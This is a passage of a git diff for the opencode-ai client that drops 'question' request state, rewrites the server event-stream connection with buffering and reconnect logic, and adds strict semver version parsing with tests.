input.setStore(
"question",
props.sessionID,
produce((draft) => {
draft.splice(result.index, 1)
}),
)
break
}
case "lsp.updated": {
input.loadLsp()
break
@@ -1,6 +1,6 @@
import { describe, expect, test } from "bun:test"
import type { Message, Part, Todo } from "@/types"
import type { FormInfo, PermissionRequest, QuestionRequest, SessionStatus } from "@opencode-ai/client/promise"
import type { FormInfo, PermissionRequest, SessionStatus } from "@opencode-ai/client/promise"
import type { FileDiffInfo } from "@opencode-ai/client/promise"
import { dropSessionCaches, pickSessionCacheEvictions } from "./session-cache"
@@ -33,7 +33,6 @@ describe("app session cache", () => {
session_message: Record<string, never[] | undefined>
part: Record<string, Part[] | undefined>
permission: Record<string, PermissionRequest[] | undefined>
question: Record<string, QuestionRequest[] | undefined>
form: Record<string, FormInfo[] | undefined>
part_text_accum_delta: Record<string, string | undefined>
} = {
@@ -44,7 +43,6 @@ describe("app session cache", () => {
session_message: {},
part: { msg_1: [part("prt_1", "ses_1", "msg_1")] },
permission: { ses_1: [] as PermissionRequest[] },
question: { ses_1: [] as QuestionRequest[] },
form: { ses_1: [] as FormInfo[] },
part_text_accum_delta: { prt_1: "streamed text" },
}
@@ -58,7 +56,6 @@ describe("app session cache", () => {
expect(store.session_diff.ses_1).toBeUndefined()
expect(store.session_status.ses_1).toBeUndefined()
expect(store.permission.ses_1).toBeUndefined()
expect(store.question.ses_1).toBeUndefined()
expect(store.form.ses_1).toBeUndefined()
})
@@ -72,7 +69,6 @@ describe("app session cache", () => {
session_message: Record<string, never[] | undefined>
part: Record<string, Part[] | undefined>
permission: Record<string, PermissionRequest[] | undefined>
question: Record<string, QuestionRequest[] | undefined>
form: Record<string, FormInfo[] | undefined>
part_text_accum_delta: Record<string, string | undefined>
} = {
@@ -83,7 +79,6 @@ describe("app session cache", () => {
session_message: {},
part: { [m.id]: [part("prt_1", "ses_1", m.id)] },
permission: {},
question: {},
form: {},
part_text_accum_delta: {},
}
@@ -1,5 +1,5 @@
import type { Message, Part, Todo } from "@/types"
import type { FormInfo, PermissionRequest, QuestionRequest, SessionStatus } from "@opencode-ai/client/promise"
import type { FormInfo, PermissionRequest, SessionStatus } from "@opencode-ai/client/promise"
import type { FileDiffInfo } from "@opencode-ai/client/promise"
import type { SessionMessageInfo } from "@opencode-ai/client/promise"
@@ -13,7 +13,6 @@ type SessionCache = {
session_message: Record<string, SessionMessageInfo[] | undefined>
part: Record<string, Part[] | undefined>
permission: Record<string, PermissionRequest[] | undefined>
question: Record<string, QuestionRequest[] | undefined>
form?: Record<string, FormInfo[] | undefined>
part_text_accum_delta: Record<string, string | undefined>
}
@@ -38,7 +37,6 @@ export function dropSessionCaches(store: SessionCache, sessionIDs: Iterable<stri
delete store.session_diff[sessionID]
delete store.session_status[sessionID]
delete store.permission[sessionID]
delete store.question[sessionID]
if (store.form) delete store.form[sessionID]
}
}
@@ -2,7 +2,6 @@ import type { Agent, Config, LspStatus, Message, Part, Path, Todo, VcsInfo } fro
import type {
FileDiffInfo,
PermissionRequest,
QuestionRequest,
ReferenceInfo,
SessionInfo,
SessionStatus,
@@ -50,9 +49,6 @@ export type State = {
permission: {
[sessionID: string]: PermissionRequest[]
}
question: {
[sessionID: string]: QuestionRequest[]
}
mcp_ready: boolean
mcp: {
[name: string]: McpServer["status"]
-8
View File
@@ -7,7 +7,6 @@ import { useServerHealth } from "@/utils/server-health"
import { createServerSdkContext } from "./server-sdk"
import { createServerSyncContext } from "./server-sync"
import { getOwner } from "solid-js/web"
import { createServerData } from "@opencode-ai/client/solid"
import type { ServerScope } from "@/utils/server-scope"
import { createServerPermissionState } from "./permission"
import { createServerNotificationState } from "./notification"
@@ -103,12 +102,6 @@ function createServerController(
const sync = createServerSyncContext(sdk)
const permission = createServerPermissionState({ sdk, sync })
const notification = createServerNotificationState({ sdk, sync, key: connKey })
const data = createServerData({
api: () => sdk.api,
event: sdk.event,
connection: sdk.connection,
directory: "",
})
function enrich(project: { worktree: string; expanded: boolean }) {
const [childStore] = sync.child(project.worktree, { bootstrap: false })
@@ -141,7 +134,6 @@ function createServerController(
(conn?.type === "sidecar" && conn.variant === "base") || (conn?.type === "http" && isLocalHost(conn.http.url))
return {
data,
sdk,
sync,
isLocal,
+1 -1
View File
@@ -278,7 +278,7 @@ export function createServerNotificationState(input: { sdk: ServerSDK; sync: Ser
})
}
const unsub = input.sdk.eventByDir.listen((e) => {
const unsub = input.sdk.event.listen((e) => {
const event = e.details
if (
event.type !== "session.execution.succeeded" &&
+2 -2
View File
@@ -52,7 +52,7 @@ function hasPermissionPromptRules(permission: unknown) {
return Object.values(config).some(isNonAllowRule)
}
type PermissionEvent = Parameters<Parameters<ServerSDK["eventByDir"]["listen"]>[0]>[0]
type PermissionEvent = Parameters<Parameters<ServerSDK["event"]["listen"]>[0]>[0]
export function createServerPermissionState(input: { sdk: ServerSDK; sync: ServerSync }) {
const [store, setStore, _, ready] = persisted(
@@ -197,7 +197,7 @@ export function createServerPermissionState(input: { sdk: ServerSDK; sync: Serve
void respondPending(event.properties, e.name)
}
const unsubscribe = input.sdk.eventByDir.listen((event) => {
const unsubscribe = input.sdk.event.listen((event) => {
if (ready()) {
handlePermission(event)
return
+67 -1
View File
@@ -1,6 +1,18 @@
import { describe, expect, test } from "bun:test"
import type { OpenCodeEvent } from "@opencode-ai/client/promise"
import { adaptServerEvent } from "./server-sdk"
import { adaptServerEvent, coalesceServerEvents, enqueueServerEvent, resumeStreamAfterPageShow } from "./server-sdk"
describe("resumeStreamAfterPageShow", () => {
test("restarts a stream only after a back-forward cache restore", () => {
let starts = 0
const start = () => starts++
resumeStreamAfterPageShow({ persisted: false } as PageTransitionEvent, start)
resumeStreamAfterPageShow({ persisted: true } as PageTransitionEvent, start)
expect(starts).toBe(1)
})
})
describe("adaptServerEvent", () => {
test("preserves current permission requests", () => {
@@ -31,3 +43,57 @@ describe("adaptServerEvent", () => {
})
})
})
describe("current event buffering", () => {
const delta = (id: string, value: string, ordinal = 0) => ({
directory: "/repo",
payload: adaptServerEvent({
id,
created: 1,
type: "session.text.delta",
location: { directory: "/repo" },
data: { sessionID: "ses", assistantMessageID: "msg", ordinal, delta: value },
} as OpenCodeEvent),
})
test("merges adjacent text deltas for the same message and ordinal", () => {
const result = coalesceServerEvents([delta("evt_1", "hello "), delta("evt_2", "world")])
expect(result).toHaveLength(1)
expect(result[0]?.payload.current).toMatchObject({ id: "evt_2", data: { delta: "hello world" } })
expect(result[0]?.payload.properties).toMatchObject({ delta: "hello world" })
})
test("coalesces current tool input deltas by tool ID", () => {
const current = (eventID: string, id: string, delta: string) =>
adaptServerEvent({
id: eventID,
created: 1,
type: "session.tool.input.delta",
location: { directory: "/repo" },
data: { sessionID: "ses", assistantMessageID: "msg", id, delta },
} as OpenCodeEvent)
const result = coalesceServerEvents([
{ directory: "/repo", payload: current("evt_1", "call_1", "{") },
{ directory: "/repo", payload: current("evt_2", "call_1", "}") },
{ directory: "/repo", payload: current("evt_3", "call_2", "[]") },
])
expect(result).toHaveLength(2)
expect(result[0]?.payload.current).toMatchObject({ id: "evt_2", data: { id: "call_1", delta: "{}" } })
expect(result[1]?.payload.current).toMatchObject({ id: "evt_3", data: { id: "call_2", delta: "[]" } })
})
test("preserves boundaries between distinct delta streams", () => {
const events = [delta("evt_1", "a"), delta("evt_2", "b", 1), delta("evt_3", "c")]
expect(coalesceServerEvents(events).map((event) => event.payload.current?.id)).toEqual(["evt_1", "evt_2", "evt_3"])
})
test("preserves current event order when enqueuing", () => {
const events: Parameters<typeof enqueueServerEvent>[0] = []
;[delta("evt_1", "a"), delta("evt_2", "b", 1)].forEach((event) => enqueueServerEvent(events, event))
expect(events.map((event) => event.payload.current?.id)).toEqual(["evt_1", "evt_2"])
})
})
+283 -32
View File
@@ -1,8 +1,9 @@
import type { OpenCodeEvent } from "@opencode-ai/client/promise"
import { createClientConnection, type ClientConnectionStatus } from "@opencode-ai/client/solid"
import type { Event } from "@/types"
import { createGlobalEmitter } from "@solid-primitives/event-bus"
import { type Accessor, onCleanup } from "solid-js"
import { makeEventListener } from "@solid-primitives/event-listener"
import { type Accessor, batch, onCleanup, onMount } from "solid-js"
import { createStore } from "solid-js/store"
import { createApiForServer, type ServerApi } from "@/utils/server"
import { usePlatform } from "./platform"
import { ServerConnection } from "./servers"
@@ -11,15 +12,85 @@ import { ServerScope } from "@/utils/server-scope"
import { useServer } from "./server"
export type ServerEvent = Event & { id?: string; current?: OpenCodeEvent }
type QueuedServerEvent = { directory: string; payload: ServerEvent }
type CurrentDelta = Extract<
OpenCodeEvent,
{ type: "session.text.delta" | "session.reasoning.delta" | "session.tool.input.delta" | "session.compaction.delta" }
>
export function adaptServerEvent(event: OpenCodeEvent): ServerEvent {
return { id: event.id, type: event.type, properties: event.data, current: event } as ServerEvent
}
export function enqueueServerEvent(queue: QueuedServerEvent[], event: QueuedServerEvent) {
queue.push(event)
return true
}
export function coalesceServerEvents(events: QueuedServerEvent[]) {
const output: QueuedServerEvent[] = []
events.forEach((event) => {
const current = currentDelta(event.payload.current)
if (current) {
const previous = output[output.length - 1]
const prior = currentDelta(previous?.payload.current)
if (
previous &&
prior &&
previous.directory === event.directory &&
currentDeltaKey(prior) === currentDeltaKey(current)
) {
const fragment = currentDeltaFragment(prior) + currentDeltaFragment(current)
const data =
current.type === "session.compaction.delta"
? { ...current.data, text: fragment }
: { ...current.data, delta: fragment }
output[output.length - 1] = {
directory: event.directory,
payload: {
...event.payload,
properties: data,
current: { ...current, data } as CurrentDelta,
} as ServerEvent,
}
return
}
output.push(event)
return
}
output.push(event)
})
return output
}
function currentDelta(event: OpenCodeEvent | undefined): CurrentDelta | undefined {
if (
event?.type === "session.text.delta" ||
event?.type === "session.reasoning.delta" ||
event?.type === "session.tool.input.delta" ||
event?.type === "session.compaction.delta"
)
return event
}
function currentDeltaKey(event: CurrentDelta) {
if (event.type === "session.tool.input.delta")
return `${event.type}:${event.data.sessionID}:${event.data.assistantMessageID}:${event.data.id}`
if (event.type === "session.compaction.delta") return `${event.type}:${event.data.sessionID}`
return `${event.type}:${event.data.sessionID}:${event.data.assistantMessageID}:${event.data.ordinal}`
}
function currentDeltaFragment(event: CurrentDelta) {
return event.type === "session.compaction.delta" ? event.data.text : event.data.delta
}
export function resumeStreamAfterPageShow(event: PageTransitionEvent, start: () => unknown) {
if (!event.persisted) return
start()
}
type ServerEventEmitter = ReturnType<typeof createGlobalEmitter<{ [key: string]: ServerEvent }>>
type CurrentEventMap = { [Type in OpenCodeEvent["type"]]: Extract<OpenCodeEvent, { type: Type }> }
type CurrentEventEmitter = ReturnType<typeof createGlobalEmitter<CurrentEventMap>>
export type ServerConnectionStatus = ClientConnectionStatus
export type ServerConnectionStatus = "connecting" | "connected" | "reconnecting"
type ServerSDKBase = {
server: ServerConnection.Any
scope: ServerScope
@@ -30,51 +101,231 @@ type ServerSDKBase = {
attempt: Accessor<number>
error: Accessor<string | undefined>
}
eventByDir: {
event: {
on: ServerEventEmitter["on"]
listen: ServerEventEmitter["listen"]
}
event: {
on: CurrentEventEmitter["on"]
listen: CurrentEventEmitter["listen"]
}
}
function createServerSdkContextBase(server: ServerConnection.Any, scope: ServerScope): ServerSDKBase {
const platform = usePlatform()
const api = createApiForServer({ server: server.http, fetch: platform.fetch })
const dirEmitter = createGlobalEmitter<{ [key: string]: ServerEvent }>()
const emitter = createGlobalEmitter<CurrentEventMap>()
const abort = new AbortController()
const connection = createClientConnection(api, {
flushInterval: 16,
pageLifecycle: true,
onEvent(event) {
emitter.emit(event.type, event)
dirEmitter.emit(event.location?.directory ?? "global", adaptServerEvent(event))
},
log: {
info(message, data) {
if (message !== "event stream disconnected") return
console.info("[global-sdk] event stream disconnected", { url: server.http.url, ...data })
},
},
const eventFetch = (() => {
if (!platform.fetch || !server) return
try {
const url = new URL(server.http.url)
const loopback = url.hostname === "localhost" || url.hostname === "127.0.0.1" || url.hostname === "::1"
if (url.protocol === "http:" && !loopback) return platform.fetch
} catch {
return
}
})()
const eventApi = createApiForServer({ server: server.http, fetch: eventFetch })
const emitter = createGlobalEmitter<{
[key: string]: ServerEvent
}>()
type Queued = QueuedServerEvent
const FLUSH_FRAME_MS = 16
const STREAM_YIELD_MS = 8
const CONNECT_TIMEOUT_MS = 2_000
const RECONNECT_DELAY_MS = 1_000
let queue: Queued[] = []
let buffer: Queued[] = []
let timer: ReturnType<typeof setTimeout> | undefined
let last = 0
function flush() {
if (timer) clearTimeout(timer)
timer = undefined
if (queue.length === 0) return
const events = queue
queue = buffer
buffer = events
queue.length = 0
last = Date.now()
const output = coalesceServerEvents(events)
batch(() => {
output.forEach((event) => emitter.emit(event.directory, event.payload))
})
buffer.length = 0
}
function schedule() {
if (timer) return
const elapsed = Date.now() - last
timer = setTimeout(flush, Math.max(0, FLUSH_FRAME_MS - elapsed))
}
function publish(event: OpenCodeEvent) {
const directory = event.location?.directory ?? "global"
if (enqueueServerEvent(queue, { directory, payload: adaptServerEvent(event) })) schedule()
}
function wait(delay: number, signal: AbortSignal) {
return new Promise<void>((resolve) => {
const timer = setTimeout(done, delay)
signal.addEventListener("abort", done, { once: true })
function done() {
clearTimeout(timer)
signal.removeEventListener("abort", done)
resolve()
}
})
}
let attempt: AbortController | undefined
let run: Promise<void> | undefined
let started = false
let generation = 0
const [connection, setConnection] = createStore<{
status: ServerConnectionStatus
attempt: number
error?: string
}>({ status: "connecting", attempt: 0 })
async function connect(signal: AbortSignal): Promise<{ error: unknown; connectedAt: number | undefined }> {
let connectedAt: number | undefined
// Bound the initial handshake and tie this request to the stream lifetime.
const request = new AbortController()
const cancel = () => request.abort(signal.reason)
const timeout = setTimeout(() => request.abort(new Error("Timed out connecting to server")), CONNECT_TIMEOUT_MS)
signal.addEventListener("abort", cancel, { once: true })
try {
// Open the event stream and validate its initial handshake.
const iterator = eventApi.event.subscribe({ signal: request.signal })[Symbol.asyncIterator]()
const first = await iterator.next()
if (signal.aborted) return { error: undefined, connectedAt }
if (first.done) {
const error =
request.signal.reason instanceof Error ? request.signal.reason : new Error("Event stream disconnected")
return { error, connectedAt }
}
if (first.value.type !== "server.connected")
return { error: new Error("Event stream did not start with server.connected"), connectedAt }
// Publish the connected state before forwarding live events.
clearTimeout(timeout)
publish(first.value)
connectedAt = Date.now()
setConnection({ status: "connected", attempt: 0, error: undefined })
// Forward events until the stream closes or this connection is cancelled.
let yielded = Date.now()
while (!signal.aborted) {
const event = await iterator.next()
if (signal.aborted) return { error: undefined, connectedAt }
if (event.done) return { error: new Error("Event stream disconnected"), connectedAt }
publish(event.value)
if (Date.now() - yielded < STREAM_YIELD_MS) continue
yielded = Date.now()
await wait(0, signal)
}
return { error: undefined, connectedAt }
} catch (error) {
return { error, connectedAt }
} finally {
request.abort()
clearTimeout(timeout)
signal.removeEventListener("abort", cancel)
}
}
async function runStream(active: number) {
let retries = 0
// oxlint-disable-next-line no-unmodified-loop-condition -- stop() changes the lifecycle flags and aborts the active request
while (!abort.signal.aborted && started && generation === active) {
setConnection({ status: retries === 0 ? "connecting" : "reconnecting", attempt: retries, error: undefined })
const controller = new AbortController()
attempt = controller
const onAbort = () => controller.abort()
abort.signal.addEventListener("abort", onAbort)
const result = await connect(controller.signal)
abort.signal.removeEventListener("abort", onAbort)
if (abort.signal.aborted || !started || generation !== active) {
if (attempt === controller) attempt = undefined
return
}
if (result.connectedAt !== undefined && Date.now() - result.connectedAt >= 1_000) retries = 0
retries += 1
const message =
result.error === undefined
? undefined
: result.error instanceof Error
? result.error.message
: String(result.error)
console.info("[global-sdk] event stream disconnected", {
url: server.http.url,
fetch: eventFetch ? "platform" : "webview",
attempt: retries,
error: message,
})
setConnection({ status: "reconnecting", attempt: retries, error: message })
await wait(RECONNECT_DELAY_MS, controller.signal)
if (attempt === controller) attempt = undefined
}
}
function start() {
if (started) return run
started = true
const active = ++generation
const previous = run
const current = (async () => {
if (previous) await previous
await runStream(active)
})().finally(() => {
if (run !== current) return
run = undefined
flush()
})
run = current
return run
}
function stop() {
started = false
generation++
attempt?.abort()
}
onMount(() => {
makeEventListener(window, "pagehide", stop)
makeEventListener(window, "pageshow", (event) => resumeStreamAfterPageShow(event, start))
void start()
})
onCleanup(() => {
dirEmitter.clear()
stop()
abort.abort()
if (timer) clearTimeout(timer)
timer = undefined
queue = []
buffer = []
emitter.clear()
})
const api = createApiForServer({ server: server.http, fetch: platform.fetch })
return {
server,
scope,
url: server.http.url,
api,
connection,
eventByDir: {
on: dirEmitter.on.bind(dirEmitter),
listen: dirEmitter.listen.bind(dirEmitter),
connection: {
status: () => connection.status,
attempt: () => connection.attempt,
error: () => connection.error,
},
event: {
on: emitter.on.bind(emitter),
@@ -114,7 +365,7 @@ export type DirectorySDK = {
function createDirSdkContext(directory: string, serverSDK: ServerSDKBase): DirectorySDK {
const emitter = createGlobalEmitter<SDKEventMap>()
const unsub = serverSDK.eventByDir.on(directory, (event) => {
const unsub = serverSDK.event.on(directory, (event) => {
emitter.emit(event.type, event)
})
onCleanup(unsub)
+1 -38
View File
@@ -10,7 +10,7 @@ import type {
SessionMessageInfo,
} from "@opencode-ai/client/promise"
import type { Message, Part, Todo } from "@/types"
import type { FileDiffInfo, PermissionRequest, QuestionRequest, SessionStatus } from "@opencode-ai/client/promise"
import type { FileDiffInfo, PermissionRequest, SessionStatus } from "@opencode-ai/client/promise"
import { batch } from "solid-js"
import { createStore, produce, reconcile } from "solid-js/store"
import { rootSession } from "@/utils/session-route"
@@ -198,7 +198,6 @@ export function createServerSession(
session_diff: {} as Record<string, FileDiffInfo[]>,
todo: {} as Record<string, Todo[]>,
permission: {} as Record<string, PermissionRequest[]>,
question: {} as Record<string, QuestionRequest[]>,
form: {} as Record<string, FormInfo[]>,
pending: {} as Record<string, SessionInboxInfo[]>,
input: {} as Record<string, string[]>,
@@ -281,9 +280,6 @@ export function createServerSession(
...Object.entries(data.permission)
.filter(([, items]) => items.length > 0)
.map(([sessionID]) => sessionID),
...Object.entries(data.question)
.filter(([, items]) => items.length > 0)
.map(([sessionID]) => sessionID),
...Object.entries(data.form)
.filter(([, items]) => items.length > 0)
.map(([sessionID]) => sessionID),
@@ -529,9 +525,6 @@ export function createServerSession(
...Object.entries(data.permission)
.filter(([, items]) => items.length > 0)
.map(([sessionID]) => sessionID),
...Object.entries(data.question)
.filter(([, items]) => items.length > 0)
.map(([sessionID]) => sessionID),
...Object.entries(data.form)
.filter(([, items]) => items.length > 0)
.map(([sessionID]) => sessionID),
@@ -1339,36 +1332,6 @@ export function createServerSession(
)
return
}
case "question.asked": {
const question = event.properties as QuestionRequest
const questions = data.question[question.sessionID]
if (!questions) {
setData("question", question.sessionID, [question])
return
}
const result = Binary.search(questions, question.id, (item) => item.id)
if (result.found) setData("question", question.sessionID, result.index, reconcile(question))
if (!result.found)
setData(
"question",
question.sessionID,
produce((draft) => void draft.splice(result.index, 0, question)),
)
return
}
case "question.replied":
case "question.rejected": {
const props = event.properties as { sessionID: string; requestID: string }
setData(
"question",
props.sessionID,
produce((draft) => {
if (!draft) return
const result = Binary.search(draft, props.requestID, (item) => item.id)
if (result.found) draft.splice(result.index, 1)
}),
)
}
}
}
+2 -2
View File
@@ -54,7 +54,7 @@ import { createServerSession, type ServerSession } from "./server-session"
import { createCatalogSync } from "./server-sync/catalog"
import { createConnectionSync } from "./server-sync/connection"
import { usePlatform } from "./platform"
import { useData, useServer } from "./server"
import { useServer } from "./server"
export function shouldRefreshWorkspaceSessions(event: ServerEvent) {
const type = event.current?.type ?? event.type
@@ -568,7 +568,7 @@ export function createServerSyncContextInner(serverSDK: ServerSDK) {
return event
}
const unsub = serverSDK.eventByDir.listen((e) => {
const unsub = serverSDK.event.listen((e) => {
const directory = e.name
const key = directoryKey(directory)
const event = e.details
-5
View File
@@ -22,8 +22,3 @@ export const { use: useServer, provider: ServerProvider } = createSimpleContext(
}
},
})
export const useData = () => {
const server = useServer()
return server.ctx.data
}
+4 -7
View File
@@ -101,7 +101,7 @@ import { diffs as list } from "@/utils/diffs"
import { Persist, persisted } from "@/utils/persist"
import { extractPromptFromParts } from "@/utils/prompt"
import { formatServerError, isLocalSessionNotFoundError, isSessionNotFoundError } from "@/utils/server-errors"
import { requireServerKey, sessionHref } from "@/utils/session-route"
import { legacySessionHref, requireServerKey, sessionHref } from "@/utils/session-route"
import { useUsageExceededDialogs } from "./session/usage-exceeded-dialogs"
import { createSessionLineage } from "./session/session-lineage"
@@ -2128,12 +2128,9 @@ export default function Page() {
const id = controller.data.parentID()
if (!id) return
navigate(
sessionHref(
controller.identity.params.serverKey
? requireServerKey(controller.identity.params.serverKey)
: ServerConnection.key(serverSDK.server),
id,
),
controller.identity.params.serverKey
? sessionHref(requireServerKey(controller.identity.params.serverKey), id)
: legacySessionHref(sdk().directory, id),
)
},
setPromptRef: (el) => {
@@ -37,16 +37,14 @@ export function SessionPermissionDock(props: {
<Button variant="ghost" size="normal" onClick={() => props.onDecide("reject")} disabled={props.responding}>
{language.t("ui.permission.deny")}
</Button>
<Show when={props.request.save?.length}>
<Button
variant="secondary"
size="normal"
onClick={() => props.onDecide("always")}
disabled={props.responding}
>
{language.t("ui.permission.allowAlways")}
</Button>
</Show>
<Button
variant="secondary"
size="normal"
onClick={() => props.onDecide("always")}
disabled={props.responding}
>
{language.t("ui.permission.allowAlways")}
</Button>
<Button variant="primary" size="normal" onClick={() => props.onDecide("once")} disabled={props.responding}>
{language.t("ui.permission.allowOnce")}
</Button>
@@ -15,15 +15,13 @@ import { useSDK } from "@/context/sdk"
import { useSync } from "@/context/sync"
import { useTabs } from "@/context/tabs"
import type { SessionController } from "@/pages/session/session-controller"
import { requireServerKey, sessionHref } from "@/utils/session-route"
import { useServerSDK } from "@/context/server-sdk"
import { legacySessionHref, requireServerKey, sessionHref } from "@/utils/session-route"
import { sessionTitle } from "@/utils/session-title"
import { downloadSessionExport, fetchSessionExport, sessionExportFilename } from "@/utils/session-export"
import { showToast } from "@/utils/toast"
import { timelineChildTitle, timelineRemovedSessionIDs } from "./controller-projection"
import { createTimelineProjection } from "./projection"
import { useServer } from "@/context/server"
import { ServerConnection } from "@/context/servers"
const emptyMessages: Message[] = []
const emptyParts: Part[] = []
@@ -48,7 +46,6 @@ export function createTimelineController(input: {
}) {
const navigate = useNavigate()
const sdk = useSDK()
const serverSDK = useServerSDK()
const sync = useSync()
const server = useServer()
const settings = useSettings()
@@ -149,22 +146,19 @@ export function createTimelineController(input: {
if (!id || pending.unshare || !shareEnabled()) return
}
const href = (id: string) =>
sessionHref(
input.session.identity.params.serverKey
? requireServerKey(input.session.identity.params.serverKey)
: ServerConnection.key(serverSDK.server),
id,
)
input.session.identity.params.serverKey
? sessionHref(requireServerKey(input.session.identity.params.serverKey), id)
: legacySessionHref(sdk().directory, id)
const navigateAfterRemoval = (id: string, parent?: string, next?: string) => {
if (input.session.identity.params.id !== id) return
if (parent) return navigate(href(parent))
if (next) return navigate(href(next))
return tabs.newDraft({
server: input.session.identity.params.serverKey
? requireServerKey(input.session.identity.params.serverKey)
: ServerConnection.key(serverSDK.server),
directory: sdk().directory,
})
if (input.session.identity.params.serverKey)
return tabs.newDraft({
server: requireServerKey(input.session.identity.params.serverKey),
directory: sdk().directory,
})
navigate(`/${input.session.identity.params.dir}/session`)
}
const exportSession = async (id: string) => {
try {
+3 -2
View File
@@ -38,8 +38,10 @@
"immer": "11.1.4",
"jsonc-parser": "3.3.1",
"open": "10.1.2",
"semver": "catalog:",
"solid-js": "catalog:",
"tree-sitter-bash": "0.25.0",
"tree-sitter-powershell": "0.25.10",
"web-tree-sitter": "0.25.10",
"uqr": "0.1.3",
"ws": "8.21.0"
},
@@ -48,7 +50,6 @@
"@opencode-ai/protocol": "workspace:*",
"@tsconfig/bun": "catalog:",
"@types/bun": "catalog:",
"@types/semver": "catalog:",
"@typescript/native-preview": "catalog:",
"@lydell/node-pty-darwin-arm64": "1.2.0-beta.12",
"@lydell/node-pty-darwin-x64": "1.2.0-beta.12",
+5 -1
View File
@@ -3,7 +3,7 @@ import { copyFile, mkdir, readdir, readFile, stat } from "node:fs/promises"
import path from "node:path"
import { fileURLToPath } from "node:url"
import { getNodeAssets } from "@opentui/core/node-assets"
import { attentionSoundAssets, type NodeTarget, photonWasmAsset } from "../src/node/target"
import { attentionSoundAssets, type NodeTarget, photonWasmAsset, shellParserWasmAssets } from "../src/node/target"
const dir = path.resolve(import.meta.dirname, "..")
@@ -43,6 +43,10 @@ export async function collectNodeAssets(target: NodeTarget) {
key: photonWasmAsset,
source: fileURLToPath(import.meta.resolve(photonWasmAsset)),
},
...Object.values(shellParserWasmAssets).map((key) => ({
key,
source: fileURLToPath(import.meta.resolve(key)),
})),
...attentionSoundAssets.map((key) => ({
key,
source: path.resolve(dir, "../ui/src/assets/audio", path.basename(key)),
+1 -1
View File
@@ -47,7 +47,7 @@ export async function replyPermission(input: {
locations: permissionLocations(toolName, toolInput, input.event.data.resources, input.cwd, previews),
...(previews.length > 0 ? { content: previews } : {}),
},
options: input.event.data.save?.length ? options : options.filter((option) => option.optionId !== "always"),
options,
})
.catch(() => undefined)
const selected = result?.outcome.outcome === "selected" ? result.outcome.optionId : undefined
+5
View File
@@ -29,6 +29,11 @@ export function nodeTarget(platform: string, arch: string) {
}
export const photonWasmAsset = "@silvia-odwyer/photon-node/photon_rs_bg.wasm"
export const shellParserWasmAssets = {
runtime: "web-tree-sitter/tree-sitter.wasm",
bash: "tree-sitter-bash/tree-sitter-bash.wasm",
powershell: "tree-sitter-powershell/tree-sitter-powershell.wasm",
} as const
export const nodeExecArgv = ["--experimental-ffi", "--use-system-ca", "--disable-warning=ExperimentalWarning"] as const
export const attentionSoundAssets = [
@@ -0,0 +1,50 @@
export type Policy = boolean | "notify"
export type Action = "none" | "upgrade"
const maximumComponent = "9007199254740991"
const versionPattern =
/^v?([0-9]+)\.([0-9]+)\.([0-9]+)(?:-([0-9A-Za-z-]+(?:\.[0-9A-Za-z-]+)*))?(?:\+[0-9A-Za-z-]+(?:\.[0-9A-Za-z-]+)*)?$/
export function action(current: string, latest: string, policy: Policy): Action {
if (policy === false) return "none"
const currentVersion = parseReleaseVersion(current)
const latestVersion = parseReleaseVersion(latest)
if (!currentVersion || !latestVersion || sameRelease(currentVersion, latestVersion)) return "none"
// Major upgrades are never installed automatically.
if (currentVersion.major !== latestVersion.major) return "none"
return "upgrade"
}
function parseReleaseVersion(input: string) {
if (input.length > 256) return
const match = input.trim().match(versionPattern)
if (!match) return
if ([match[1], match[2], match[3]].some(invalidComponent)) return
if (
match[4]
?.split(".")
.some((identifier) => identifier.length > 1 && identifier.startsWith("0") && /^[0-9]+$/.test(identifier))
)
return
return {
major: match[1],
core: `${match[1]}.${match[2]}.${match[3]}`,
prerelease: match[4]?.split(".") ?? [],
}
}
function sameRelease(current: NonNullable<ReturnType<typeof parseReleaseVersion>>, latest: typeof current) {
if (current.core !== latest.core || current.prerelease.length !== latest.prerelease.length) return false
return current.prerelease.every((identifier, index) => {
const other = latest.prerelease[index]
if (identifier === other) return true
// semver compares oversized numeric prerelease identifiers after numeric coercion.
return /^[0-9]+$/.test(identifier) && /^[0-9]+$/.test(other) && Number(identifier) === Number(other)
})
}
function invalidComponent(value: string) {
if (value.length > 1 && value.startsWith("0")) return true
if (value.length !== maximumComponent.length) return value.length > maximumComponent.length
return value > maximumComponent
}
+46 -1
View File
@@ -1,5 +1,6 @@
import { describe, expect, test } from "bun:test"
import { action, decodePolicy } from "./updater"
import { action } from "./updater-action"
import { decodePolicy } from "./updater"
describe("updater", () => {
test("reads autoupdate from JSONC", () => {
@@ -30,4 +31,48 @@ describe("updater", () => {
test("upgrades when latest is lower (rollback)", () => {
expect(action("1.2.4", "1.2.3", true)).toBe("upgrade")
})
test("accepts strict release version variants", () => {
expect(action("v1.2.3", " 1.2.4\n", true)).toBe("upgrade")
expect(action("1.2.3-alpha.1", "1.2.3-alpha.2", true)).toBe("upgrade")
expect(action("0.0.0-next-17403", "0.0.0-next-17403.2", true)).toBe("upgrade")
expect(action("1.2.3+old", "1.2.3+new", true)).toBe("none")
expect(action("v1.2.3+old", "1.2.3", true)).toBe("none")
})
test("preserves strict validity", () => {
const invalid = [
"=1.2.3",
"V1.2.3",
"1.2",
"1.2.3.4",
"01.2.3",
"1.02.3",
"1.2.03",
"1.2.3-01",
"1.2.3-",
"1.2.3+",
"1.2.3-alpha..1",
"1.2.3_alpha",
"9007199254740992.0.0",
"0.9007199254740992.0",
"0.0.9007199254740992",
]
invalid.forEach((version) => expect(action("1.2.3", version, true), version).toBe("none"))
})
test("handles numeric limits without losing precision", () => {
expect(action("9007199254740991.0.0", "9007199254740991.0.1", true)).toBe("upgrade")
expect(action("9007199254740990.0.0", "9007199254740991.0.0", true)).toBe("none")
})
test("preserves equality for oversized numeric prerelease identifiers", () => {
expect(action("1.0.0-9007199254740992", "1.0.0-9007199254740993", true)).toBe("none")
expect(action("1.0.0-9007199254740991", "1.0.0-9007199254740992", true)).toBe("upgrade")
})
test("rejects versions longer than semver's limit before trimming", () => {
expect(action("1.2.3", `${" ".repeat(251)}1.2.3`, true)).toBe("none")
expect(action("1.2.3", `1.2.4+${"a".repeat(250)}`, true)).toBe("upgrade")
})
})
+2 -11
View File
@@ -5,12 +5,10 @@ import { Context, Duration, Effect, FileSystem, Layer } from "effect"
import { ChildProcess } from "effect/unstable/process"
import { parse, type ParseError } from "jsonc-parser"
import path from "node:path"
import semver from "semver"
import { action, type Policy } from "./updater-action"
declare const OPENCODE_CLI_NAME: string | undefined
export type Policy = boolean | "notify"
export type Action = "none" | "upgrade"
type Method = "npm" | "pnpm" | "bun" | "yarn"
const packageName =
